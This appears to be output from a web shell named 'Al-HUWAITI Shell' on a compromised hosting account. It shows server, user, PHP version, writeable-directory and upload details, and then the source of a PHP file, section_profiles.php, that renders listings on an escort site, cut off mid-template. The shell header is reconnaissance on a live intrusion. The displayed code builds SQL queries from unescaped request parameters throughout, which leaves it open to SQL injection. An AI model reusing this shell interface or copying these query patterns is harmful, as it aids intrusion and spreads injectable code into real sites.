Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux nl-srv-web1396.main-hosting.eu 4.18.0-553.83.1.lve.el8.x86_64 #1 SMP Wed Nov 12 10:04:12 UTC 2025 x86_64
User : u107206879 ( 107206879)
PHP Version : 7.2.34
Disable Function : NONE
Directory :  /home/u107206879/domains/escort46.de/public_html/en/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u107206879/domains/escort46.de/public_html/en/section_profiles.php
<style>
@media only screen and (max-width: 760px) {
	.item.itdiv{
		/*min-height: 500px;*/
	}
	.list_caption_toggle {
    min-height: 90px;
}
/*.search_link1 {    		 
    		color: #f7498e !important;
		}*/
		.search_link1:hover, .search_link:focus {
   		text-decoration: underline;
    		color: #f7498e;
    		outline: none;
		}
}
@media only screen and (min-width: 760px) {
	 
 .desk-des{
 line-height: 1.2;
 }
 
 .list_caption_toggle {
     /*min-height: 120px;*/
}
}
</style>
<style>
		/*.search_link1 {    		 
    		color: #f7498e;
		}*/
		.search_link1:hover, .search_link:focus {
   		text-decoration: underline;
    		color: #f7498e;
    		outline: none;
		}
	</style>
<?php
	#Scroll Ads Code
	if($detect->isMobile() && !$detect->isTablet()){
		$device ="mobile";
	}elseif($detect->isTablet()){
		$device ="tablet";		
	}else{
		$device ="desktop";
	}
	
	$scroll_ads_query="SELECT * from scroll_ads WHERE ad_device='".$device."' and active='1' order by rand() limit 1";
	$scroll_ads_result=mysqli_query($connection,$scroll_ads_query);
	$scroll_ads_count = mysqli_num_rows($scroll_ads_result);
	$scroll_all_ads =array();
	if(mysqli_num_rows($scroll_ads_result)){
		$scroll_ads =array();
		$scroll_ads = mysqli_fetch_assoc($scroll_ads_result);
		#fetch all the ads related to that
		$scroll_all_ads_query="SELECT * from scroll_ads WHERE ad_device='".$device."' and rowset ='".$scroll_ads["rowset"]."' order by id asc";
		$scroll_all_ads_result=mysqli_query($connection,$scroll_all_ads_query);
		$count_scroll_all_ads = mysqli_num_rows($scroll_all_ads_result); 
		if(mysqli_num_rows($scroll_all_ads_result)){
			while($row_scroll_all_ads = mysqli_fetch_assoc($scroll_all_ads_result)){
				$scroll_all_ads[] = $row_scroll_all_ads;
			}		
		}					
	}
		
	#Scroll Ads Code
	$start = 0;
	if($page == 'search.php'){
		$num_record = 4;
	}else{
		$num_record = 4;
	}
	$select = "advertise.*, nat.".$nationality_column." ";
	$table = "advertise";
	$join = " LEFT JOIN nationalities AS nat ON nat.id=advertise.nationality ";
	$where_1 = " advertise.adstatus=1 AND advertise.isApproved=1 ";
	$where = "";
	$order = " ORDER BY advertise.plan_id DESC, advertise.update_date desc, advertise.id DESC ";
	if(isset($_GET['p'])){
		$num_record = trim($_GET['p']);
		$num_record  = 4 * $num_record  + 4 ;
		$limit = " LIMIT $start,$num_record ";
	}else{
			$limit = " LIMIT $start,$num_record ";
	}


	if($page == 'search.php'){
		if(isset($_GET['categories']) && !empty($_GET['categories']) && ($_GET['categories']==2 || $_GET['categories']==4)){
			if(isset($_GET['omrade1']) && !empty($_GET['omrade1'])) {
				$where .= (!empty($where) ? ' AND ' : '') . "(region = '".$_GET['omrade1']."' OR ward = '".$_GET['omrade1']."' OR district = '".$_GET['omrade1']."' OR sub_country = '".$_GET['omrade1']."')";
			}
			if(empty($_GET['radius'])){
				if(isset($_GET['postal_code']) && !empty($_GET['postal_code'])) {
					$where .= (!empty($where) ? ' AND ' : '') . "post_code LIKE '%".$_GET['postal_code']."%'";
				}
			}
		}

		if(isset($_GET['categories']) && !empty($_GET['categories']) && ($_GET['categories']==1 || $_GET['categories']=="all")){
			
			if(isset($_GET['omrade1']) && !empty($_GET['omrade1'])) {
				$where .= (!empty($where) ? ' AND ' : '') . "(region = '".$_GET['omrade1']."' OR ward = '".$_GET['omrade1']."' OR district = '".$_GET['omrade1']."' OR sub_country = '".$_GET['omrade1']."')";
			}
			
			if($_GET['categories']==1){
				if(empty($_GET['radius'])){
					if(isset($_GET['postal_code']) && !empty($_GET['postal_code'])) {
						$where .= (!empty($where) ? ' AND ' : '') . "(incall LIKE '%".$_GET['postal_code']."%' OR outcall LIKE '%".$_GET['postal_code']."%')";
					}
				}
			}elseif($_GET['categories']=="all"){
				if(isset($_GET['postal_code']) && !empty($_GET['postal_code'])) {
					$where .= (!empty($where) ? ' AND ' : '') . "(post_code LIKE '%".$_GET['postal_code']."%' OR incall LIKE '%".$_GET['postal_code']."%' OR outcall LIKE '%".$_GET['postal_code']."%')";
				}
			}
			
			if(isset($_GET['kon']) && !empty($_GET['kon'])) {
				$where .= (!empty($where) ? ' AND ' : '') . "kon = '".$_GET['kon']."'";
			}
			
			if(isset($_GET['nationality_id']) && !empty($_GET['nationality_id'])) {
				$where .= (!empty($where) ? ' AND ' : '') . "nationality = '".$_GET['nationality_id']."'";
			}
			
			if(isset($_GET['age1']) && !empty($_GET['age1']) && isset($_GET['age2']) && !empty($_GET['age2']) ){
				$where .= (!empty($where) ? ' AND ' : '') . "alder BETWEEN ".$_GET['age1']." AND ".$_GET['age2'];
			}elseif(isset($_GET['age1']) && !empty($_GET['age1'])) {
				$where .= (!empty($where) ? ' AND ' : '') . "alder >= ".$_GET['age1'];
			}elseif(isset($_GET['age2']) && !empty($_GET['age2'])) {
				$where .= (!empty($where) ? ' AND ' : '') . "alder <= ".$_GET['age2'];
			}
			
			if(isset($_GET['weight1']) && !empty($_GET['weight1']) && isset($_GET['weight2']) && !empty($_GET['weight2']) ){
				$where .= (!empty($where) ? ' AND ' : '') . "weight BETWEEN ".$_GET['weight1']." AND ".$_GET['weight2'];
			}elseif(isset($_GET['weight1']) && !empty($_GET['weight1'])) {
				$where .= (!empty($where) ? ' AND ' : '') . "weight >= ".$_GET['weight1'];
			}elseif(isset($_GET['weight2']) && !empty($_GET['weight2'])) {
				$where .= (!empty($where) ? ' AND ' : '') . "weight <= ".$_GET['weight2'];
			}
			
			if(isset($_GET['height1']) && !empty($_GET['height1']) && isset($_GET['height2']) && !empty($_GET['height2']) ){
				$where .= (!empty($where) ? ' AND ' : '') . "height BETWEEN ".$_GET['height1']." AND ".$_GET['height2'];
			}elseif(isset($_GET['height1']) && !empty($_GET['height1'])) {
				$where .= (!empty($where) ? ' AND ' : '') . "height >= ".$_GET['height1'];
			}elseif(isset($_GET['height2']) && !empty($_GET['height2'])) {
				$where .= (!empty($where) ? ' AND ' : '') . "height <= ".$_GET['height2'];
			}
			
			if(isset($_GET['bryst1']) && !empty($_GET['bryst1']) && isset($_GET['bryst2']) && !empty($_GET['bryst2']) ){
				$where .= (!empty($where) ? ' AND ' : '') . "bryst BETWEEN ".$_GET['bryst1']." AND ".$_GET['bryst2'];
			}elseif(isset($_GET['bryst1']) && !empty($_GET['bryst1'])) {
				$where .= (!empty($where) ? ' AND ' : '') . "bryst >= ".$_GET['bryst1'];
			}elseif(isset($_GET['bryst2']) && !empty($_GET['bryst2'])) {
				$where .= (!empty($where) ? ' AND ' : '') . "bryst <= ".$_GET['bryst2'];
			}
		}
		
		if(isset($get_search) && !empty($get_search)) {		
			$querytag = "SELECT adservices_id FROM `tag` WHERE search_id in (SELECT search_id FROM `search` WHERE `title` = '".$get_search."')";
			$result = getAll($querytag);
			$advertarray = array();
			if($result)
			{
				foreach($result as $resultRow)
				{
					$advertarray[] = $resultRow['adservices_id'];
				}
			}
			if(!empty($advertarray))
			{
				$extend = "or advertise.id in(".implode(',', $advertarray).")";
			}
			else
			{
				$extend = '';
			}	
			$where .= (!empty($where) ? ' AND ' : '') . "(incall = '".$get_search."' OR outcall = '".$get_search."' OR region = '".$get_search."' OR ward = '".$get_search."' OR district = '".$get_search."' OR sub_country = '".$get_search."' OR kon = '".$get_search."' OR telephone_no = '".$get_search."' OR profile_tile LIKE '%".$get_search."%' OR profile_beskrivelse LIKE '%".$get_search."%' ".$extend.")";
		}
		
		if(!isset($_GET['categories']) || $_GET['categories']=="all"){
			$query="SELECT count(*) as num FROM ". $table . $join .(!empty($where) ? ' WHERE ( '. $where .' ) AND '.$where_1 : ' WHERE '.$where_1);
		}else{
			$query="SELECT count(*) as num FROM ". $table . $join .(!empty($where) ? ' WHERE ( '. $where .' ) AND '.$where_1.' AND category_id='.(isset($_GET['categories']) && !empty($_GET['categories'])? $_GET['categories']:1) : ' WHERE '.$where_1.' AND category_id='.(isset($_GET['categories']) && !empty($_GET['categories'])? $_GET['categories']:1));
		}
	}elseif($page == 'index.php'){
		$query="SELECT count(*) as num FROM ". $table . $join .(!empty($where) ? ' WHERE ( '. $where .' ) AND '.$where_1 : ' WHERE '.$where_1);
	}else{
		if(isset($_GET['categories']) && !empty($_GET['categories'])){
			if(isset($_GET['omrade1']) && !empty($_GET['omrade1'])) {
				$where .= (!empty($where) ? ' AND ' : '') . " ward = '".mysqli_real_escape_string($connection,$_GET['omrade1'])."' OR district = '".mysqli_real_escape_string($connection,$_GET['omrade1'])."' OR sub_country = '".mysqli_real_escape_string($connection,$_GET['omrade1'])."' OR region = '".mysqli_real_escape_string($connection,$_GET['omrade1'])."'";
			}elseif(isset($_REQUEST['nationality']) && !empty($_REQUEST['nationality'])){
				$where .= (!empty($where) ? ' AND ' : '') . " nationality = '".mysqli_real_escape_string($connection,$_GET['nationality_id'])."'";
			}elseif(isset($_REQUEST['adservice']) && !empty($_REQUEST['adservice'])){
				$join .= ' INNER JOIN ads_adservices AS ad_serv ON advertise.id = ad_serv.ad_id ';
				$where .= (!empty($where) ? ' AND ' : '') . " ad_serv.adservice_id = ".$_GET['adservice_id'];
			}
		}
		
		$query="SELECT count(*) as num FROM ". $table . $join .(!empty($where) ? ' WHERE ( '. $where .' ) AND '.$where_1.' AND category_id='.(isset($_GET['categories']) && !empty($_GET['categories'])? $_GET['categories']:1) : ' WHERE '.$where_1.' AND category_id='.(isset($_GET['categories']) && !empty($_GET['categories'])? $_GET['categories']:1));
	}
	
	$total_records = mysqli_fetch_array(mysqli_query($connection,$query));
	$total_records = $total_records['num'];
		
	if($page == 'search.php'){
		if(isset($get_search) && !empty($get_search)){
			if($total_records==0){
				$update_search_sql = mysqli_query($connection,"UPDATE search SET is_result=0 WHERE title='".strtolower($get_search)."'");
			}elseif($total_records>0 && $has_result==0){
				$update_search_sql = mysqli_query($connection,"UPDATE search SET is_result=1 WHERE title='".strtolower($get_search)."'");
			}
		}
	}
	
	if($start == 0){
		if(!empty($_GET['radius'])){	?>
			<input type="hidden" name='total_records' id="total_records" value="0" />
<?php	} else {	?>
			<input type="hidden" name='total_records' id="total_records" value="<?= $total_records ?>" />
<?php	}	?>
			<input type="hidden" name='record_page' id="record_page" value="<?= $file_name ?>" />
<?php	
	}
	
	if(!isset($_GET['categories']) || $_GET['categories']=="all"){
		$q="SELECT ". $select ." FROM ". $table . $join .(!empty($where) ? ' WHERE ( '. $where .' ) AND '.$where_1 : ' WHERE '.$where_1). $order . $limit ;
	}else{
		$q="SELECT ". $select ." FROM ". $table . $join .(!empty($where) ? ' WHERE ( '. $where .' ) AND '.$where_1.' AND category_id='.(isset($_GET['categories']) && !empty($_GET['categories'])? $_GET['categories']:1) : ' WHERE '.$where_1.' AND category_id='.(isset($_GET['categories']) && !empty($_GET['categories'])? $_GET['categories']:1)). $order . $limit ;
	}
	
	if($page == 'search.php'){
		//Query For Radius Only
		if(isset($_GET['radius']) && !empty($_GET['radius'])){
			if(!isset($_GET['categories']) || $_GET['categories']=="all"){
				$q="SELECT ". $select ." FROM ". $table . $join .(!empty($where) ? ' WHERE ( '. $where .' ) AND '.$where_1 : ' WHERE '.$where_1). $order;
			}else{
				$q="SELECT ". $select ." FROM ". $table . $join .(!empty($where) ? ' WHERE ( '. $where .' ) AND '.$where_1.' AND category_id='.(isset($_GET['categories']) && !empty($_GET['categories'])? $_GET['categories']:1) : ' WHERE '.$where_1.' AND category_id='.(isset($_GET['categories']) && !empty($_GET['categories'])? $_GET['categories']:1)). $order;
			}
		}
	}
	
	$result = $connection->query($q);
	$counter=1;
	$class=$second_class='';
	
	if ($result->num_rows > 0) {
		
		if($page == 'search.php'){
			$zip1 = $_GET['postal_code'];
			$selectCoords_1 = "SELECT * FROM area_code WHERE area_code='".$zip1."'";
			$coordsRS_1 = mysqli_query($connection,$selectCoords_1);
			$aCoords_1 = mysqli_fetch_assoc($coordsRS_1);
			$latitude_1 = $aCoords_1['lat'];
			$longitude_1 = $aCoords_1['longi'];
		}
				
		// output data of each row
		$counter=1;
		$new_count=1;
		$i=0;
		while($row = $result->fetch_assoc()) {
			$i++;
			$distance='';
			if(isset($_GET['radius']) && !empty($_GET['radius'])){
				if($row['incall']!=''){
					$zip2 = $row['incall'];
				}elseif($row['outcall']!=''){
					$zip2 = $row['outcall'];
				}elseif($row['post_code']!=''){
					$zip2 = $row['post_code'];
				}

				$selectCoords_2 = "SELECT * FROM area_code WHERE area_code='".$zip2."'";
				$coordsRS_2 = mysqli_query($connection,$selectCoords_2);
				$aCoords_2 = mysqli_fetch_assoc($coordsRS_2);
				$latitude_2 = $aCoords_2['lat'];
				$longitude_2 = $aCoords_2['longi'];
				
				$radius      = 3959;      // Earth's radius (miles)
			    $deg_per_rad = 57.2958;  // Number of degrees/radian (for conversion)

			    $distance = ($radius * pi() * sqrt(($latitude_1 - $latitude_2) * ($latitude_1 - $latitude_2) + cos($latitude_1 / $deg_per_rad) * cos($latitude_2 / $deg_per_rad) * ($longitude_1 - $longitude_2) * ($longitude_1 - $longitude_2)) / 157);
			    $distance = round($distance,2);
				//echo $return_value = $zip1.' to '.$zip2.' - Distance: '.$distance.' Miles <br>';
				$row_radius=$row['radius'];
			}else{
				$_GET['radius']=0;
				$distance=0;
				$row_radius=0;
			}
			
			if($distance<=$_GET['radius'] && $row_radius>=$distance){
				//echo $distance." <= ".$_GET['radius']." & ".$row['radius']." >= ".$distance."<br>";
				if($counter % 4==0){
					$class='last';
				}
				if($counter % 4==1){
					$class='first';
				}
				if($counter %2==0){
					$second_class='mobile_last';
				}
				$counter++;
				$main_img=$multi_user_img='';
				$qry = "SELECT * FROM images WHERE ad_id = ".$row['id'];
				$img_result = mysqli_query($connection,$qry);
				while($img_row=mysqli_fetch_array($img_result)){
					$is_thumbnail = false;
					$hover_image = '310_'.$img_row['photo'];
					if (!file_exists('../thumbnails/'.$hover_image)) {
						$multi_user_img.=MAIN_URL.'/user_images/'.$img_row['photo'].'#1000 ';
						$src = MAIN_URL.'/user_images/'.$img_row['photo'];
					}else{
						$multi_user_img.=MAIN_URL.'/thumbnails/'.$hover_image.'#1000 ';
						$is_thumbnail = true;
					}
					if($is_thumbnail){
						if($img_row['is_profile']){
							$main_img=MAIN_URL.'/thumbnails/'.$hover_image;
						}
					}else{
						if($img_row['is_profile']){
							$main_img=MAIN_URL.'/user_images/'.$img_row['photo'];
						}
					}
				}
				$multi_user_img=trim($multi_user_img);
				#profile link code start
				$row_page_ads_links =array();
				$sql_page_ads_links="select * from page_ads_links where type='Profile' and ad_id='".$row['id']."'";
				$result_page_ads_links=mysqli_query($connection,$sql_page_ads_links);
				if(mysqli_num_rows($result_page_ads_links)){
					#Check if it is for whiich device
					$sql_page_ads_links="select * from page_ads_links where ad_id='".$row['id']."' and type='Profile' and ad_device='all' limit 1";				
					$result_page_ads_links=mysqli_query($connection,$sql_page_ads_links);
					if(mysqli_num_rows($result_page_ads_links)){
						#For all devices
						$row_page_ads_links = mysqli_fetch_assoc($result_page_ads_links);
					}else{
						if($detect->isMobile() && !$detect->isTablet())	{
							$sql_page_ads_links="select * from page_ads_links where type='Profile' and ad_device='mobile' and ad_id='".$row['id']."' LIMIT 1";										 
						}elseif($detect->isTablet()){
							$sql_page_ads_links="select * from page_ads_links where type='Profile' and ad_device='tablet' and ad_id='".$row['id']."' LIMIT 1";									 	
						}else{
							$sql_page_ads_links="select * from page_ads_links where type='Profile' and ad_device='desktop' and ad_id='".$row['id']."' LIMIT 1";										
						}
						$result_page_ads_links=mysqli_query($connection,$sql_page_ads_links);
						$row_page_ads_links = mysqli_fetch_assoc($result_page_ads_links);								
					}									
				}else{
					#Check if all has entry or not
					$row_page_ads_links =array();
					$sql_page_ads_links="select * from page_ads_links where ad_id='all' and type='Profile'";
					$result_page_ads_links=mysqli_query($connection,$sql_page_ads_links);
					if(mysqli_num_rows($result_page_ads_links)){
						#Check if it is for whiich device
						$sql_page_ads_links="select * from page_ads_links where ad_id='all' and type='Profile' and ad_device='all' limit 1";				
						$result_page_ads_links=mysqli_query($connection,$sql_page_ads_links);
						if(mysqli_num_rows($result_page_ads_links)){
							#For all devices
							$row_page_ads_links = mysqli_fetch_assoc($result_page_ads_links);
						}else{
							if($detect->isMobile() && !$detect->isTablet()){
								$sql_page_ads_links="select * from page_ads_links where type='Profile' and ad_device='mobile' and ad_id='all' LIMIT 1";										 
							}elseif($detect->isTablet()){
								$sql_page_ads_links="select * from page_ads_links where type='Profile' and ad_device='tablet' and ad_id='all' LIMIT 1";									 	
							}else{
								$sql_page_ads_links="select * from page_ads_links where type='Profile' and ad_device='desktop' and ad_id='all' LIMIT 1";										
							}
							$result_page_ads_links=mysqli_query($connection,$sql_page_ads_links);
							$row_page_ads_links = mysqli_fetch_assoc($result_page_ads_links);								
						}									
					} 
				}			 		
				#profile link code ends 
		?>	
        	<div   id="<?php if($i == 4){ ?>checklglast<?php } else {  ?>checklg<?php } ?>" class="user_profile item col-sms-4 col-xs-6 col-sm-3 col-md-3 itdiv <?php echo $class.' '.$second_class;?>
			<?php if(!empty($_GET['listgrid'])){ ?>
				<?php if($_GET['listgrid']=="list"){ echo "list-group-item"; }	?>		
			<?php }else{?>
					<?php if($detect->isMobile()){ ?>
						<?php if(WEBSITE_GRID_MOBILE=="list"){ echo "list-group-item"; } ?>					
					<?php }else{ ?>
						<?php if(WEBSITE_GRID_DESKTOP=="list"){ echo "list-group-item"; } ?>					
					<?php } ?>				
			<?php } ?>" style="padding-top:5px !important;">
				<?php  if($row_page_ads_links['base'] == "Popup-Message" && $row_page_ads_links['type'] == "Profile"){ ?> 
						<a class="Message_Modal" href="#msgModal1<?php echo $row["id"];?>" data-toggle="modal">  												 			  
				<?php }elseif($row_page_ads_links['base'] == "Popup" && $row_page_ads_links['type'] == "Profile"){ ?> 
				 			 <a class="Message_Modal" href="#msgModal1<?php echo $row["id"];?>" data-toggle="modal">
				        <?php }else if(!empty($row_page_ads_links['message_outgoing_link']) && $row_page_ads_links['message_link_active'] == 1){ ?>
					<a rel="nofollow" href="<?= $row_page_ads_links['message_outgoing_link'] ?>" target="_blank" alt="<?= $row["profile_tile"] ?>" title="<?= $row["profile_tile"] ?>">	
				<?php }else{ ?>	
					<?php if(!empty(WEBSITE_ADVERT_INDEX_POPUP) && trim(WEBSITE_ADVERT_INDEX_POPUP)=="Active"){?>
						<a class="Message_Modal" href="#msgModal1<?php echo $row['id'];?>" data-toggle="modal">
					<?php }else{ ?>				
						<a href="<?php echo SUB_URL; ?>/<?php if($row["category_id"] ==5){?>events<?php }else{ ?>user_detail<?php } ?>/<?php echo $row["id"]."/".friendly_seo_string($row["profile_tile"]);?>" alt="<?= $row["profile_tile"] ?>" title="<?= $row["profile_tile"] ?>">	
					<?php } ?>			 
				<?php } ?>
					<div class="thumbnail">
					<?php
						if($row["plan_id"]==3){
							$plan="PREMIUM";
							$ribb_class = 'gold';
						}elseif($row["plan_id"]==2){
							$plan="PREMIUM";
							$ribb_class = 'silver';
						}elseif($row["plan_id"]==1){
							$plan="PREMIUM";
							$ribb_class = 'bronze';
						}
						
						if($row["category_id"] == '1'){
							$catgry="Escort";
							if($row['services']==1){
								$match_area=$row['incall'];
							}else{
								$match_area=$row['outcall'];
							}
						}else if($row["category_id"] == '2'){
							$catgry="Massage Clinics";
							$match_area=$row['post_code'];
						}else if($row["category_id"] == '3'){
							$catgry="Escort Agencies";
						}else if($row["category_id"] == '4'){
							$catgry="Thai Massage";
							$match_area=$row['post_code'];
						}else if($row["category_id"] == '5'){
							$catgry="Events";
							$match_area=$row['post_code'];
						}
						
			        	$area_code_split=explode(" ",$match_area);
			            $area_code=$area_code_split[0];
						$address_postal_code = '';
						$region=$row['region'];
						$subcountry=$row['sub_country'];
						$district=$row['district'];
						$ward=$row['ward'];
						
				        if($region != ''){
							$address_postal_code .= $region;
						}
						if($subcountry != '' && $subcountry != $region){
							$address_postal_code .= "<br>".$subcountry;
						}
						if($district != '' && $district != $subcountry && $district != $region){
							$address_postal_code .= "<br>".$district;
						}
						if($ward != '' && $ward != $district  && $ward != $subcountry  && $ward != $region){
							$address_postal_code .= "<br>".$ward;
						}
						if($address_postal_code != ''){
							$address_postal_code .= " - ".$area_code;
						}else{
							$address_postal_code .= " - ";
						}
					?>
	                	<div>
	                		<img class="group list-group-image user_multi_image lazy" src="<?php echo $main_img ?>" alt="<?php echo $row["profile_tile"];?>" data-mouseover="<?php echo $multi_user_img; ?>" />
	                    </div>

	                	<div class="list_caption_toggle">
	                        <div class="listhide">
	                        	<h2 class="h2_title group inner list-group-item-heading search_link1">								 
	                            <?php 
									if(strlen($row["profile_tile"]) > 50){
										echo ucwords(mb_strtolower(substr($row["profile_tile"],0,49),'UTF-8'))." ...";
									}else {
										echo ucwords(mb_strtolower($row["profile_tile"],'UTF-8')); 
									}
								?>								 
								</h2>
	                      	</div>
				<div class="listhide">
								<?php 	if($detect->isMobile()){ ?>
										<p class="age desk-des shail_list_list" style="display:none;"><?php echo substr($row["profile_beskrivelse"],0,50)."...";  ?></p>
										<p class="age desk-des shail_list_grid"><?php echo substr($row["profile_beskrivelse"],0,20)."...";  ?></p>									
								<?php 	}else{ ?>
										<p class="age desk-des"><?php echo mb_substr($row["profile_beskrivelse"],0,90, "utf-8")."..."; ?> </p>
								<?php	} ?>
	                        </div>
					<?php
						if($row["category_id"]==1){
					?>
	                      	<div class="listhide">
	                            <p class="age" style="margin-top: 5px;"><?php echo $row["alder"]." years | ".$row[$nationality_column]; ?></p>
	                        </div>
                    <?php
						}else if($row["category_id"] == 2 || $row["category_id"] == 4 || $row["category_id"] == 5){
					?>
	                      	<div class="listhide">
	                            <p class="age" style="margin-top: 5px;"><?php echo $catgry; ?></p>
	                        </div>
                    <?php
						}else if($row["category_id"] == 3){
					?>
	                      	<div class="listhide">
	                            <p class="age" style="margin-top: 5px;"><?php echo $catgry; ?></p>
	                        </div>
                    <?php
						}
					?>
						</div>
						<div class="caption">
	                        <div class="col-xs-8 col-md-8 agediv">
	                        	<div class="group inner list-group-item-heading user_discription col-md-12">
	                        		<h2 class="h2_title search_link1">
		                            <?php 
										echo ucwords(mb_strtolower($row["profile_tile"],'UTF-8')); 
									?>
		                           	</h2>
                           	<?php
                           		if($row["update_date"] != '' && $row["update_date"] != '0000-00-00 00:00:00'){
							?>
									<div class="update"><?= date('Y-m-d', strtotime($row["update_date"])) ?></div>
							<?php
								}
                           	?>
	                        	</div>
		                        	
		                      	<p class="group inner list-group-item-text user_discription user_desc col-md-12">
									<?php echo substr($row["profile_beskrivelse"],0,400)."..."; ?>
	                      		</p>
						<?php
							if($row["category_id"]==1){
						?>
	                            <div class="listhide">
	                                <p class="group inner list-group-item-text user_discription col-md-6"><?php echo $row["alder"].", ".$row[$nationality_column]; ?></p>
	                            </div>
	                        <div class="col-md-6 col-sm-6 col-xs-6">
	                            <p class="group inner list-group-item-text user_discription col-md-12 col-xs-12 col-sm-12 nopadding">
	                            	<label class="col-md-6 col-xs-6 col-sm-5">Age :</label>
	                                <span class="col-md-6 col-xs-6 col-sm-7"><?php echo ($row["alder"] == "" ? "---" : $row["alder"]);?></span>
	                           	</p>
	                            <?php
	                            	if($row["kon"] == '1'){
										$kongen="Female";
									}else if($row["kon"] == '2'){
										$kongen="Male";
									}else if($row["kon"] == '3'){
										$kongen="Trans";
									}
	                            ?>
	                            
	                            <p class="group inner list-group-item-text user_discription col-md-12 col-xs-12 col-sm-12 nopadding">
	                            	<label class="col-md-6 col-xs-6 col-sm-5">Gender :</label>
	                                <span class="col-md-6 col-xs-6 col-sm-7"><?php echo ($row["kon"] == "" ? "---" : $kongen);?></span>
	                           	</p>
	                            
	                            <p class="group inner list-group-item-text user_discription col-md-12 col-xs-12 col-sm-12 nopadding">
	                          		<label class="col-md-6 col-xs-6 col-sm-5">Height :</label>
	                                <span class="col-md-6 col-xs-6 col-sm-7"><?php echo ($row["height"] == "" ? "---" : $row["height"]." CM");?></span>
	                          	</p>
	                    	</div>
	                		<div class="col-md-6 col-sm-6 col-xs-6 nopadding">
	                			<p class="group inner list-group-item-text user_discription col-md-12 col-xs-12 col-sm-12 nopadding">
	                            	<label class="col-md-6 col-xs-6 col-sm-5">Nationality :</label>
	                                <span class="col-md-6 col-xs-6 col-sm-7"><?php echo ($row[$nationality_column] == "" ? "---" : $row[$nationality_column]);?></span>
	                           	</p>
	                           	
	                           	<p class="group inner list-group-item-text user_discription col-md-12 col-xs-12 col-sm-12 nopadding">
	                            	<label class="col-md-6 col-xs-6 col-sm-5">Breast Size :</label>
	                                <span class="col-md-6 col-xs-6 col-sm-7"><?php echo ($row["bryst"] == "" ? "---" : $row["bryst"]);?></span>
	                          	</p>
	                		
	                            <p class="group inner list-group-item-text user_discription col-md-12 col-xs-12 col-sm-12 nopadding">
	                            	<label class="col-md-6 col-xs-6 col-sm-5">Weight :</label>
	                                <span class="col-md-6 col-xs-6 col-sm-7"><?php echo ($row["weight"] == "" ? "---" : $row["weight"]." KG");?></span>
	                          	</p>
	                        </div>
	                        <p class="group inner list-group-item-text user_discription col-md-12 col-xs-12 col-sm-12">
	                        	<label class="col-lg-3 col-md-3 col-xs-3 col-sm-3">Area:</label>
	                            <span class="col-lg-9 col-md-9 col-xs-9 col-sm-9" style="padding-left: 8px;">
	                            	<?= $address_postal_code ?>
	                            </span>
	                      	</p>
				<?php
	                		}else if($row["category_id"] == 2 || $row["category_id"] == 4){
						?>
								<div class="listhide">
	                                <p class="group inner list-group-item-text user_discription col-md-6"><?php echo $row["incall"];?></p>
	                            </div>
	                            
					<p class="group inner list-group-item-text user_discription col-md-12 col-xs-12 col-sm-12">
						<label>
		                                <span class="col-md-12 col-xs-12 col-sm-12 wrdbrk"><?php echo $row["business_name"];?></span>
		                                <span class="col-md-12 col-xs-12 col-sm-12 wrdbrk"><?php echo $region;?></span>
		                                <span class="col-md-12 col-xs-12 col-sm-12 wrdbrk"><?php echo $subcountry;?></span>
		                                <span class="col-md-12 col-xs-12 col-sm-12 wrdbrk"><?php echo $district;?></span>
						<span class="col-md-12 col-xs-12 col-sm-12 wrdbrk"><?php echo $ward;?></span>
		                                <span class="col-md-12 col-xs-12 col-sm-12 wrdbrk"><?php echo $row["website"];?></span>
	                                </label>
	                           	</p>
						<?php	
							}else if($row["category_id"] == 3){
						?>
								<div class="listhide">
	                                <p class="group inner list-group-item-text user_discription col-md-6"><?php echo $catgry;?></p>
	                            </div>
	                           	
	                           	<p class="group inner list-group-item-text user_discription col-md-12 col-xs-12 col-sm-12">
	                            	<label class="col-md-4 col-xs-3 col-sm-3">Website :</label>
	                                <span class="col-md-8 col-xs-9 col-sm-9 wrdbrk"><?php echo ($row["website"] == "" ? "---" : $row["website"]);?></span>
	                           	</p>
						<?php	
							}else if($row["category_id"] == 5){
	                	?>	 
	                           <div class="listhide">
									<p class="group inner list-group-item-text user_discription col-md-6"><?php echo $row["alder"].", ".$row[$nationality_column]; ?></p>
								</div>
								<div class="col-md-6 col-sm-6 col-xs-6">
									<p class="group inner list-group-item-text user_discription col-md-12 col-xs-12 col-sm-12 nopadding">
										<label class="col-md-6 col-xs-6 col-sm-5">Date :</label>
										<span class="col-md-6 col-xs-6 col-sm-7"><?php echo ($row["event_date"] == "" ? "---" : $row["event_date"]);?></span>
									</p>                      
									<p class="group inner list-group-item-text user_discription col-md-12 col-xs-12 col-sm-12 nopadding">
										<label class="col-md-6 col-xs-6 col-sm-5">Place :</label>
										<span class="col-md-6 col-xs-6 col-sm-7"><?php echo ($row["event_place"] == "" ? "---" : $row["event_place"]);?></span>
									</p>
			                    </div>
								<div class="col-md-6 col-sm-6 col-xs-6 nopadding">
			                		<p class="group inner list-group-item-text user_discription col-md-12 col-xs-12 col-sm-12 nopadding">
			                            <label class="col-md-6 col-xs-6 col-sm-5">Time :</label>
										<span class="col-md-6 col-xs-6 col-sm-7"><?php echo $row["event_time_from"]." - ".$row["event_time_to"];?></span>
									</p>    
									<p class="group inner list-group-item-text user_discription col-md-12 col-xs-12 col-sm-12 nopadding">
			                            <label class="col-md-6 col-xs-6 col-sm-5">Registration :</label>
										<span class="col-md-6 col-xs-6 col-sm-7"><?php echo ($row["event_register_type"] == "" ? "---" : $row["event_register_type"]);?></span>
									</p>                     
								</div>
								<p class="group inner list-group-item-text user_discription col-md-12 col-xs-12 col-sm-12">
									<label class="col-lg-3 col-md-3 col-xs-3 col-sm-3">Area :</label>
									<span class="col-lg-9 col-md-9 col-xs-9 col-sm-9" style="padding-left: 8px;">
			                            <?= $address_postal_code ?>
									</span>
								</p>
						<?php	
							}
	                	?>
	                        </div>
	                    </div>
						<div>
	                <?php
	            		if($row["plan_id"]!=0){
	            	?>
							<div class="ribbon"><span class="corner-ribbon <?= $ribb_class ?>"><?= $plan ?></span></div>
					<?php
						}
	            	?>    
	                    </div>
	                </div>
				</a>
                <?php  if($row_page_ads_links['base'] == "Popup" && $row_page_ads_links['type'] == "Profile"){ ?>
                			<!-- Message Modal -->
							    <div class="modal fade Modal_Dialog cus_modal" id="msgModal1<?php echo $row["id"];?>" tabindex="-1" role="dialog" aria-labelledby="myModalLabel" aria-hidden="true">
							        <div class="modal-dialog">
							            <div class="modal-content">
                                        			<button class="close_btn" type="button" data-dismiss="modal">x</button>
							            	 	 <iframe class="iframe_c" src="<?= $row_page_ads_links['message_outgoing_link'] ?>" ></iframe>
